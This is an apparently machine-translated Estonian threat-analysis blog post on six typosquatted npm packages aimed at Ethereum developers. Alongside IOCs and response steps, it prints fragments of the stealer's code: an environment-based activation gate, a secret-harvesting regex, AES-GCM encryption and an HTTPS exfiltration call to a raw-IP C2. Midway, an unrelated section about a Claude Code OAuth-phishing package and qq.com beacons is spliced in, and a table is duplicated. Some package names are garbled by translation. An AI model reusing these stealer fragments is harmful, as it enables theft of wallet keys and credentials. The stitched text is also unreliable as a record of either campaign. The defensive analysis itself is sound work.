EVMDeFi npm typosquatting rünnak varastab arendaja võtmeid

EVM/DeFi npm typosquatting rünnak varastab arendaja võtmeid

TL; DR

6. mail 2026 üksainus npm-i väljaandja namikazesarada010206, avaldas kuus pahatahtlikku paketti, mis olid suunatud Ethereumi, Solidity ja DeFi arendajate ökosüsteemile.

Pakid, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsja web3-utils-core, kasutas usutavaid nimesid, mis olid loodud välja nägema nagu populaarsete Web3 tööriistade abiteekid.

Kõik kuus pakki sisaldasid sama telemetry.js fail. Fail oli klastri ulatuses baitide poolest identne, SHA-256-ga:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Pahavara ei käivitu installimise ajal. Puudub preinstall or postinstall konks. Selle asemel aktiveerub see siis, kui pakett imporditakse läbi require().

See detail on oluline.

Implant ootab, kuni arendaja paketti tegelikult kasutab. Seejärel kontrollib see, kas tööjaam näeb välja nagu päris Ethereumi / Solidity arenduskeskkond. See otsib Alchemy või Infura võtmeid, privaatvõtmeid, mnemoonikaid, juurutaja võtmeid või kohalikku Foundry kataloogi.

Kui host sobib, kogub varas SSH privaatvõtmed, Foundry / Geth / Brownie rahakoti võtmehoidlad, .env* faile ja tundlikke keskkonnamuutujaid. See krüpteerib paketi AES-256-GCM-iga, kasutades kõvakodeeritud parooli, ja filtreerib selle toores IPv4 C2 lõpp-punkti, millel on TLS-i verifitseerimine keelatud.

Xygeni pahavara varajase hoiatamise süsteem (MEW) kinnitas kõigi kuue paketi pahatahtlikuks olemist. npm-i registri eemaldamise aruannete pakett on ootel.

Klaster: kuus paketti, üks kirjastaja

Väljaandja konto namikazesarada010206 oli lingitud kinnitamata Gmaili aadressiga namikazesarada010206@gmail.com.

Kampaania ilmus ühepäevase väljaandena 6. mail 2026. Kõik kuus paketti versiooniti järgmiselt: 1.0.0, ei olnud käitusaja sõltuvusi ja saatis ainult kolm faili:

package.json index.js telemetry.js

Samuti deklareerisid nad sama lähtekoodihoidla:

https://github.com/harunosakura030303-maker/evmchain-config

Esimesed kolm paketti tabasid MEW skannerid esmakordsel avaldamisel. Ülejäänud kolm märgistati sundmärgiga pärast seda, kui analüütikud olid kirjastaja npm-profiili üle vaadanud. Kui sama baitidentne telemetry.js kinnitati kogu klastris, suleti need järjepidevuse tõttu pahatahtlikena.

Pakend versioon npm Avaldatud MEW pilet otsus
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Kuritahtlik
viem-utils-core 1.0.0 2026-05-06 #51050 Kuritahtlik
hardhat-core-utiliidid 1.0.0 2026-05-06 #51051 Kuritahtlik
evm-utiliidid 1.0.0 2026-05-06 #51069 Pahatahtlik, järjepidevuse tõttu
valukoja utiliidid 1.0.0 2026-05-06 #51071 Pahatahtlik, järjepidevuse tõttu
web3-utiliidid-tuum 1.0.0 2026-05-06 #51070 Pahatahtlik, järjepidevuse tõttu

Nimetamisstrateegia on lihtne, kuid tõhus.

Need paketid ei jäljenda täpseid ülesvoolu nimesid. Selle asemel kasutavad nad usutavaid „utiliidi” järelliiteid, näiteks -core, -utilsja -utils-coreSee paneb need välja nägema nagu kaasraamatukogud, mida arendaja võiks Web3 tööriistade läheduses oodata.

Pahatahtlik pakett Õigustatud sihtmärk
viem-core viem, populaarne Ethereumi TypeScripti klient
viem-utils-core viem
hardhat-core-utiliidid Hardhat, Solidity peamine arenduskeskkond
evm-utiliidid Üldine EVM-tööriistade nimeruum
valukoja utiliidid valukoda, Solidity tööriistakett
web3-utiliidid-tuum web3-utiliidid, Web3.js abilised

See on „lisapaketi“ muster: mitte „mina olen päris pakk“, vaid „ma näen välja nagu mõistlik abiline päris paketi kõrval“.

DeFi arendajate jaoks, kes tegutsevad kiiresti, on see piisav riski tekitamiseks.

Mis juhtub, kui pakk imporditakse

Rünnakuahel on väike, tahtlik ja keskendub krüptovaluutade arenduskeskkondadele.

Paigalduskonksu pole. Selle asemel sisaldab iga pakend index.js mis ekspordib tüve funktsionaalsuse ja seejärel laadib pahatahtliku telemeetriamooduli.

require('./telemetry').init();

See tähendab, et pahavara aktiveerub esimesel importimisel.

See on ründajale operatiivselt kasulik. Paljud skannerid ja liivakastid keskenduvad installiaegsele käitumisele. See pakett ootab, kuni arendaja, ehitusskript, testimiskomplekt või käitusaja rada seda tegelikult kasutab.

Aktiveerimisvärav: käivitub ainult päris Web3 arendaja tööjaamades

Implantaadi kõige olulisem osa on aktiveerimisvärav.

Pahavara kontrollib keskkonnamuutujaid, mida tavaliselt leidub Ethereumi/Solidity arendajate masinates:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Samuti kontrollib see, kas Foundry näib olevat installitud:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Kui kumbki tingimus pole tõene, tagastab funktsioon väärtuse ja ei tee midagi.

See muudab paketi vaiksemaks üldistes analüüsikeskkondades. Liivakast ilma Foundry, Alchemy võtmete, Infura võtmete, privaatvõtmete või mnemoonikata võib näha kahjutu välimusega importi.

Sobiva hostiga seadmel ootab pahavara enne kogumist 60–90 sekundit:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Viivitus vähendab ilmset korrelatsiooni impordi ja väljaviimise vahel. .unref() kutse võimaldab ka hostprotsessil tavapäraselt väljuda, kui pakett imporditi lühiajalise skriptina.

See ei ole lärmakas „purusta ja haara“ käitumine. See on sihitud varastav objekt, mis on loodud töötamist vältima, kui arendajakeskkond pole varastamist väärt.

Mida varas kogub

Kui aktiveerimisvärav on läbitud, kogub pahavara teavet allikatest, mis on Web3 arenduses kõige olulisemad: privaatvõtmed, rahakoti võtmehoidlad, juurutamise volitused, pilvesaladused, npm-tokenid ja kohaliku projekti konfiguratsioon.

allikas Mida kogutakse
protsess.keskkond Mistahes muutuja, mis vastab /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Failid, mis sisaldavad PRIVATE KEY või BEGIN OPENSSH käsku, sh faili täielik sisu
~/.foundry/võtmehoidlad/* Foundry rahakoti võtmehoidla failid
~/.ethereum/võtmehoidla/* Gethi rahakoti võtmesalvestusfailid
~/.brownie/kontod/* Brownie rahakoti võtmehoidla failid
${cwd}/.env Täielik faili sisu
${cwd}/.env.local Täielik faili sisu
${cwd}/.env.production Täielik faili sisu
${cwd}/.env.development Täielik faili sisu
os.hostname() Hosti metaandmed
krüpto.juhuslikUUID() Ohvri/seansi identifikaator
Kuupäev.nüüd() Kogumise ajatempel
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA märgid on:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Me ei ole suutnud kinnitada, kas telemeetria pärines operaatori enda analüütikast või eraldi monetiseeritud kanalilt. ATTA tokenid on mõlemas meie uuritud valimis samad.

Klaster B: heibai

claude.hk OAuthi andmepüük + ANTHROPIC_BASE_URL-i kaaperdamine

1. aprilli valim on kampaania toores ja varasem osa.

heibai:2.1.88-claude.hk-4 avaldas wuguoqiangvip28, konto, mis loodi 7. juunil 2025. Pakett versioonis end selgesõnaliselt legitiimse saidi vastu 2.1.88 Antroopne vabanemine.

See ei vaeva end CA-sertifikaadi MITM-iga. Selle asemel valetab see kasutajale OAuthi lõpp-punkti kohta.

Lekkinud Claude Code'i lähtekoodi pahatahtlikud lisandused hõlmavad järgmist:

allikas Mida kogutakse
protsess.keskkond Mistahes muutuja, mis vastab /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Failid, mis sisaldavad PRIVATE KEY või BEGIN OPENSSH käsku, sh faili täielik sisu
~/.foundry/võtmehoidlad/* Foundry rahakoti võtmehoidla failid
~/.ethereum/võtmehoidla/* Gethi rahakoti võtmesalvestusfailid
~/.brownie/kontod/* Brownie rahakoti võtmehoidla failid
${cwd}/.env Täielik faili sisu
${cwd}/.env.local Täielik faili sisu
${cwd}/.env.production Täielik faili sisu
${cwd}/.env.development Täielik faili sisu
os.hostname() Hosti metaandmed
krüpto.juhuslikUUID() Ohvri/seansi identifikaator
Kuupäev.nüüd() Kogumise ajatempel

Sihtmärkide loend on väga spetsiifiline. See ei ole üldine brauserivargus ega laiaulatuslik volituste kraapimine. See on suunatud arendajatele, kes loovad, testivad, juurutavad või haldavad Ethereumi rakendusi.

Foundry, Gethi ja Brownie võtmehoidlate kaasamine on eriti oluline. Need failid võivad esindada otsest juurdepääsu rahakottidele või juurutamise identiteetidele. Kui ründaja suudab need siduda paroolide, mnemoonika või keskkonnasaladustega, võib ta olla võimeline raha liigutama, juurutajaid jäljendama või nutikate lepingute toiminguid ohtu seadma.

Krüptimine enne väljafiltreerimist

Pahavara krüpteerib kogutud andmed enne nende saatmist.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Kõvakodeeritud parool on:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Lõplik kasulik koormus pakitakse JSON-vormingusse:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Krüpteerimine iseenesest ei muuda pahavara keerukamaks. Küll aga raskendab see võrgu kontrollimist. Väljuvat võrku jälgiv kaitsja näeks küll JSON-faili, aga mitte varastatud võtmeid, rahakotifaile ega muid andmeid. .env sisu ilma kõvakodeeritud paroolifraasi ja dekrüpteerimisloogikata.

Eksfiltratsioon töötlemata IPv4 C2-sse

Eksfiltratsioonitee on kõvakodeeritud:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Pahavara saadab andmeid järgmistele kohtadele:

https://76.13.37.80:8443/api/v1/telemetry

Kaks detaili torkavad silma.

Esiteks on C2 toores IPv4-aadress, mitte domeen. See välistab domeeni registreerimise vajaduse ja väldib mõningaid domeenipõhiseid tuvastamisi.

Teiseks, TLS-i kinnitamine on keelatud järgmiselt:

rejectUnauthorized: false

See võimaldab pahavaral aktsepteerida mis tahes sertifikaate, sealhulgas iseallkirjastatud sertifikaate. Teisisõnu, ründaja saab krüpteeritud transpordi ilma kehtiva avaliku sertifikaadita.

Puudub uuesti proovimise loogika ja varuhost. Vead neelatakse vaikselt alla. See hoiab paketi vaikselt, kui C2 on võrguühenduseta või kättesaamatu.

Miks see kampaania on oluline?

Enamik arendajatele suunatud pahatahtlikke npm-pakette jahivad laiaulatuslikke volitusi: npm-tokenid, AWS-võtmed, GitHubi tokenid või .npmrc faile.

See kampaania kitsendab sihtrühma.

See otsib märke, et masin kuulub Ethereumi või Solidity arendajale. Seejärel hangib see välja täpselt need varad, mis selles keskkonnas olulised on: rahakoti võtmehoidlad, privaatvõtmed, mnemoonika, juurutaja võtmed. .env failid ja SSH-võtmed.

See muudab kampaania Web3 meeskondade jaoks ohtlikumaks kui tavaline NPM-i varastaja.

Edukas nakatumine võib paljastada:

  • Juurutusrahakotid
  • Nutika lepingu administraatori võtmed
  • RPC-pakkuja võtmed
  • Pilve juurutamise mandaadid
  • npm avaldamismärgid
  • SSH-juurdepääs arendaja või ehituse infrastruktuurile
  • Projektisaladused salvestatud .env failid
  • Foundry, Gethi või Brownie rahakoti võtmehoidlad

Ka paketinimed näitavad selgelt sotsiaalset manipuleerimist. Need on suunatud Web3 arendajate ökosüsteemile tuttavate tööriistanimede kaudu: viem, hardhat, foundry, evmja web3.

Tegelane ei pea päris projekte ohtu seadma. Nad vajavad vaid arendajat, kes installiks näiliselt mõistliku kaaspaketi.

Kompromiteerimise ja avastamise näitajad

Paketid ja avaldaja
Väli Väärtus
npm-i väljaandja namikazesarada010206
Väljaandja e-posti aadress namikazesarada010206@gmail.com
E-post kinnitatud Ei
SCM kinnitatud Ei
Maine skoor 1.0
Paketid viem-core, viem-utils-core, hardhat-core-utils, evm-utils, valukoda, web3-utils-core
Variandid Kõik 1.0.0
Allikahoidla https://github.com/harunosakura030303-maker/evmchain-config
Kinnitatud pahatahtlikkus Kõik kuus paketti
võrk
KASUTUSALA Väärtus
C2 lõpp-punkt https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2-port 8443/tcp
TLS-i käitumine rejectUnauthorized: false
Kasuliku koormuse skeem {"v":2,"iv": ,"d": ,"t": }
Failid ja räsiväärtused
KASUTUSALA Väärtus
telemeetria.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Pakendi paigutus pakett.json, index.js, telemeetria.js
Failide arv 3
Ligikaudne kogusuurus 3.4 KB

Aktiveerimissignaalid

Pahavara kontrollib järgmisi keskkonnamuutujaid:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Samuti kontrollib see:

~/.foundry/

Sihtkoha hosti teed

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Kogumiku regulaaravaldised

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Tuvastusmärkused

Selle kampaania puhul on mitmeid reegleid, mis võimaldavad täielikku käitumisanalüüsi.

Esmalt skannige lukustusfaile kuue pahatahtliku paketinime suhtes:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Iga matš package-lock.json, yarn.lock, pnpm-lock.yamlvõi node_modules Ajalugu tuleks käsitleda tõsise sündmusena.

Teiseks, jälgige Node.js protsesse, mis loevad rahakoti võtmehoidla teid:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

See on harva õigustatud käitumine abistava sõltuvusena imporditud paketi puhul. See on eriti kahtlane, kui sellele järgneb väljaminev võrgutegevus.

Kolmandaks, blokeerige või teavitage HTTPS-ühendusi järgmistega:

76.13.37.80:8443

Eriti kui päringu tee on:

/api/v1/telemetry

Neljandaks, otsige npm-pakette, mis ühendavad need omadused:

  • Värske või madala mainega kirjastaja
  • Kinnitamata Gmaili konto
  • Web3-ga külgneva paketi nimi
  • Puudub oluline hoidla ajalugu
  • Pisikese pakendi paigutus
  • index.js mis laadib telemeetria- või abifaili
  • Käitusaja sõltuvused puuduvad
  • Tundlike keskkonnamuutujate kogu
  • Rahakoti võtmehoidla juurdepääs

See muster on kasulikum kui üks IOC, sest järgmine pakett võib IP-aadressi muuta, kuid säilitada sama sihtimisloogika.

Kompromissvastuse kontrollnimekiri

Kui arendaja kasutas ühte kuuest paketist ja tema keskkond vastas aktiveerimisväravale, käsitlege tööjaama ohustatuna.

See hõlmab masinaid, millele on installitud Foundry, keskkonnas olevaid Alchemy või Infura võtmeid, privaatvõtmeid, mnemoonikaid või juurutamisvõtmeid.

Soovitatav vastus:

  • Ühenda host võrgust lahti.
  • Säilitage node_modules, lukustusfailid, kesta ajalugu ja kohtuekspertiisi jaoks olulised logid.
  • Vaheta iga SSH-võtmepaari all ~/.ssh/.
  • Vaheta rahakoti võtmeid iga võtmehoidla jaoks ~/.foundry, ~/.ethereumja ~/.brownie.
  • Kanna raha uutesse rahakottidesse.
  • Pöörake iga salvestatud saladust .env* failid hoidlates, kus arendaja töötas.
  • Vaheta keskkonnasaladusi, mis vastavad kogumi regulaaravaldisele, sh AWS-võtmed, npm-tokenid, juurutamistokenid, API-võtmed, privaatvõtmed, seemned ja mnemoonika.
  • Auditeeri pilve, npm-i, GitHubi, RPC-pakkuja ja plokiahela tegevust alates paketi esmakordsest installimisest.
  • Enne taaskasutamist looge tööjaamast uuesti pildikujutis.

Mida kaitsjad peaksid kaasa võtma

See kampaania näitab, kuidas npm-i tüposkvatt areneb kõrge väärtusega arendajate ökosüsteemides.

Tegelane ei vajanud järjekindlust. Nad ei vajanud hägustamist. Nad ei vajanud isegi installiaegset käivitamist.

Selle asemel toetusid nad kolmele asjale:

  • Usaldusväärsed Web3 paketinimed
  • Aktiveerimine ainult päris krüptovaluutade arendusmasinatel
  • Ethereumi arendajatele kõige olulisemate failide ja saladuste otsene vargus

See muudab kampaania laiaulatuslikul skaneerimisel kergesti märkamatuks ja ohtlikuks, kui see maandub õigesse keskkonda.

Web3 meeskondade jaoks on õppetund selge: käsitle sõltuvuste nimesid osana oma ohumudelist. Pakett, mis näeb välja nagu süütu abiprogramm, võib ikkagi olla lühim tee rahakoti ohtu sattumiseni.

Teatatud npm registrile. Värskendame seda postitust, kui avaldaja konto ja paketid on eemaldatud.

sca-tööriistad-tarkvara-kompositsiooni-analüüsi-tööriistad
Tarkvarariskide prioriseerimine, leevendamine ja turvamine
Hankige oma tasuta konto.
Krediitkaarti pole vaja.

Turvaline tarkvaraarendus ja -tarne

Xygeni tootekomplektiga